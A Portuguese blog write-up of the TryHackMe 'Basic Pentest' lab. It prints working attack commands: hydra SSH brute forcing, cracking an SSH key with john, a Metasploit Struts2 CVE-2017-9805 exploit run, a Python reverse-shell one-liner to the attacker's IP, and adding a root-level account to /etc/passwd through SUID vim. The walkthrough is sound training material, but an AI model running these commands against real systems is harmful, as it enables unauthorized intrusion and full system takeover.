Post

TryhackMe - Basic Pentest - Fácil

Alt text


CTF - Basic Pentest


Enumeração

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
PORT     STATE  SERVICE     VERSION
22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open   netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
446/tcp  closed ddm-rdb
8009/tcp open   ajp13?
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open   http-proxy?
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2024-01-15T19:38:20-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h39m56s, deviation: 2h53m13s, median: -4s
| smb2-time: 
|   date: 2024-01-16T00:38:20
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 258.17 seconds

gobuster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.10.16.5/.htaccess.old        (Status: 403) [Size: 298]
http://10.10.16.5/.htaccess.php        (Status: 403) [Size: 298]
http://10.10.16.5/.htpasswd.txt        (Status: 403) [Size: 298]
http://10.10.16.5/.htaccess            (Status: 403) [Size: 294]
http://10.10.16.5/.htaccess.txt        (Status: 403) [Size: 298]
http://10.10.16.5/.htpasswd            (Status: 403) [Size: 294]
http://10.10.16.5/.htpasswd.php        (Status: 403) [Size: 298]
http://10.10.16.5/.htpasswd.old        (Status: 403) [Size: 298]
http://10.10.16.5/development          (Status: 301) [Size: 314] [--> http://10.10.16.5/development/]
http://10.10.16.5/server-status        (Status: 403) [Size: 298]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Encontrado diretório index of:

Alt text

dev.txt

1
2
3
4
5
6
7
8
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt

1
2
3
4
5
6
7
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

smbclient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ smbclient  -L \\10.10.16.5           
Password for [WORKGROUP\kali]:

	Sharename       Type      Comment
	---------       ----      -------
	Anonymous       Disk      
	IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            BASIC2


┌──(kali💀kali)-[~/thm/basicpentest]
└─$ smbclient  //10.10.16.5/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 14:31:20 2018
  ..                                  D        0  Thu Apr 19 14:13:06 2018
  staff.txt                           N      173  Thu Apr 19 14:29:55 2018

		14318640 blocks of size 1024. 11086768 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> exit

Encontrado arquivo staff.txt

1
2
3
4
5
6
7
8
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ cat staff.txt                  
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

-K dos outros txt’s é o Kay e o -J é o Jan, vamos tentar brute force com esse usuários via ssh.

Sem sucesso o brute force com hydra.

Rodando enum4linux consegui obter os usuários:

(rodando o comando enum4linux nao listou os usuários, porém rodando direto do diretório de localização dele funcionou)

1
2
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ /usr/share/enum4linux/enum4linux.pl -a 10.10.16.5 

Alt text De volta pro hydra com os usuários certos
kay
jan

  • -F para ao encontrar uma senha correta
  • -V verbose, mostra em tempo real o que está sendo testado
  • -u alterna entre os usuários para testar a mesma senha, em vez de testar toda wordlist em um só usuário, sendo mais eficiente assim.
1
2
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.16.5 ssh -F -V -u

Senha de jan: Alt text

Exploração

Chave SSH

Após conectar via ssh no usuário jan, encontramos chaves ssh na home do kay.

1
2
3
4
5
6
7
jan@basic2:/home/kay/.ssh$ ls -la
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

Tentei usar, mas ainda tem senha.

1
2
3
4
5
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ ssh -i rsa kay@10.10.16.5
Enter passphrase for key 'rsa': 
kay@10.10.16.5's password: 
Permission denied, please try again.

Tentar crackear com john

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali💀kali)-[~/thm/basicpentest]
└─$ ssh2john rsa > idrsa

┌──(kali💀kali)-[~/thm/basicpentest]
└─$ john idrsa --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (rsa)     
1g 0:00:00:00 DONE (2024-01-16 01:24) 5.555g/s 459644p/s 459644c/s 459644C/s behlat..bball40
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Escalação de Privilégio

Escalando para usuário kay

Conectando agora com a senha: Alt text

Agora podemos ler esse arquivo na home de kay, é a senha de usuário dele.

kay@basic2:~$ ls pass.bak kay@basic2:~$ cat pass.bak heresareallystrongpasswordthatfollowsthepasswordpolicy$$ kay@basic2:~$

1
2
3
4
5
6
7
8
kay@basic2:~$ sudo -l
[sudo] password for kay: 
Sorry, try again.
[sudo] password for kay: 
Matching Defaults entries for kay on basic2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
	User kay may run the following commands on basic2:
    (ALL : ALL) ALL

Escalando para root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kay@basic2:~$ sudo su
root@basic2:/# cd root/
root@basic2:~# ls
flag.txt
root@basic2:~# cat flag.txt 
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain 
a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send 
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
out to me.

Happy hacking!
root@basic2:~# 

Segundo método

Exploit

Como o arquivo na pasta root diz que tem outros métodos, eu pesquisei sobre. Créditos https://umar0x01.sh/post/thm-basic_pentesting/

Nosso nmap mostrou as portas 8080 e 8009

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.7

Vamos focar na porta 8009

No dev.txt ele diz algo sobre struts stuff, logo depois diz sobre estar usando REST Version e mais abaixo 2.5.12.

Struts provavelmente se trata do apache struts

vamos buscar por exploits Alt text

Existem alguns exploits no google para o CVE : 2017-9805 mas tbm existe exploit no metasploit, então vamos usar ele.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf6 > search CVE : 2017-9805

Matching Modules
================

   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  exploit/multi/http/struts2_rest_xstream  2017-09-05       excellent  Yes    Apache Struts 2 REST Plugin XStream RCE

Setando as config do exploit

msf6 exploit(multi/http/struts2_rest_xstream) > set lhost tun0
lhost => 10.6.125.125
msf6 exploit(multi/http/struts2_rest_xstream) > set srv
set srvhost  set srvport  
msf6 exploit(multi/http/struts2_rest_xstream) > set srvhost tun0
srvhost => 10.6.125.125
msf6 exploit(multi/http/struts2_rest_xstream) > set rhosts 10.10.198.47
rhosts => 10.10.198.47
msf6 exploit(multi/http/struts2_rest_xstream) > set target
set target     set targeturi  
msf6 exploit(multi/http/struts2_rest_xstream) > set targeturi /struts2-rest-showcase-2.5.12/orders/3
targeturi => /struts2-rest-showcase-2.5.12/orders/3
msf6 exploit(multi/http/struts2_rest_xstream) > run

[*] Started reverse TCP handler on 10.6.125.125:4444 
[*] Sending stage (24772 bytes) to 10.10.198.47
[*] Meterpreter session 1 opened (10.6.125.125:4444 -> 10.10.198.47:57950) at 2024-01-16 21:39:13 -0300

meterpreter > 

Aqui tem um bom conteudo sobre a vulnerabilidade https://blog.appsecco.com/detecting-and-exploiting-the-java-struts2-rest-plugin-vulnerability-cve-2017-9805-765773921d3d, ou buscando no google sobre metasploit CVE : 2017-9805 você encontra as configurações de targeturl.

Vamos para pasta /tmp e fazer upload do suidenum pra buscar por binários SUID.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
meterpreter > getuid
Server username: tomcat9
meterpreter > pwd
/
meterpreter > cd /tmp
meterpreter > pwd
/tmp
meterpreter > upload SUID3NUM/
.git           .github        LICENSE        README.md      output.matlab  suid3num.py    
meterpreter > upload SUID3NUM/suid3num.py
[*] Uploading  : /home/kali/thm/basicpentest/SUID3NUM/suid3num.py -> suid3num.py
[*] Uploaded 16.24 KiB of 16.24 KiB (100.0%): /home/kali/thm/basicpentest/SUID3NUM/suid3num.py -> suid3num.py
[*] Completed  : /home/kali/thm/basicpentest/SUID3NUM/suid3num.py -> suid3num.py
meterpreter > shell
Process 1486 created.
Channel 2 created.
ls
hsperfdata_tomcat9
suid3num.py
pwd
/tmp
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat9@basic2:/tmp$ ls
ls
hsperfdata_tomcat9
suid3num.py
chmod +x suid3num.py 
tomcat9@basic2:/tmp$ ./su	
./suid3num.py 

Vamos usar o vim para editar o passwd e adicionar um usuário root em /etc/passwd , o formato é username:passwordHash:uid:gid:userDescription:homeDirectory:shell
Jeito mais fácil é copiar o usuário root editar nome root para o que deseja, adicionar a hash da senha no X e colar no final do arquivo. Alt text

Editando o /etc/passwd

Criando uma hash de senha

1
2
3
4
5
┌──(kali💀kali)-[~/thm/basicpentest/SUID3NUM]
└─$ mkpasswd -m MD5 senha123  
$1$6J7Qm/pl$XEcnTX.drtQwQ4.OMk8RU/

pentest:$1$6J7Qm/pl$XEcnTX.drtQwQ4.OMk8RU/:0:0:root:/root:/bin/bash

Como tava impossível de usar o vim pelo metasploit, fiz uma shell reversa listando o netcat e executando na shell do metapsploit

1
2
tomcat9@basic2:/tmp$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.125.125",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
<o(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'           

Ao receber a shell o upgrade é feito da seguinte maneira

1
2
3
4
5
6
python3 -c ‘import pty;pty.spawn("/bin/bash")’
CTRL+Z
stty raw -echo;fg    
reset
se perguntar o tipo digite screen
export TERM=xterm

Escalação de Privilégio

Escalando para root

Agora basta editar o passwd e adicionar o usuário com senha

  • /usr/bin/vim.basic /etc/passwd
  • role ate o final do arquivo, aperte INSERT
  • cole a linha pentest:$1$6J7Qm/pl$XEcnTX.drtQwQ4.OMk8RU/:0:0:root:/root:/bin/bash
  • de ESC
  • digite :wq! se der algum erro apenas aperte enter confirme com cat /etc/passwd

Pronto temos root Alt text

Conhecimentos adquiridos:

  • enum4linux (incluindo o bug)
  • usar o ssh2john
  • Vulnerabilidade do CVE-2017-9805
  • Usar suid3num.py

A principal funcionalidade do enum4linux é focada em sistemas que executam o protocolo SMB (Server Message Block), comumente encontrados em ambientes Windows. O SMB é usado para compartilhamento de arquivos, impressoras e outros recursos de rede.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.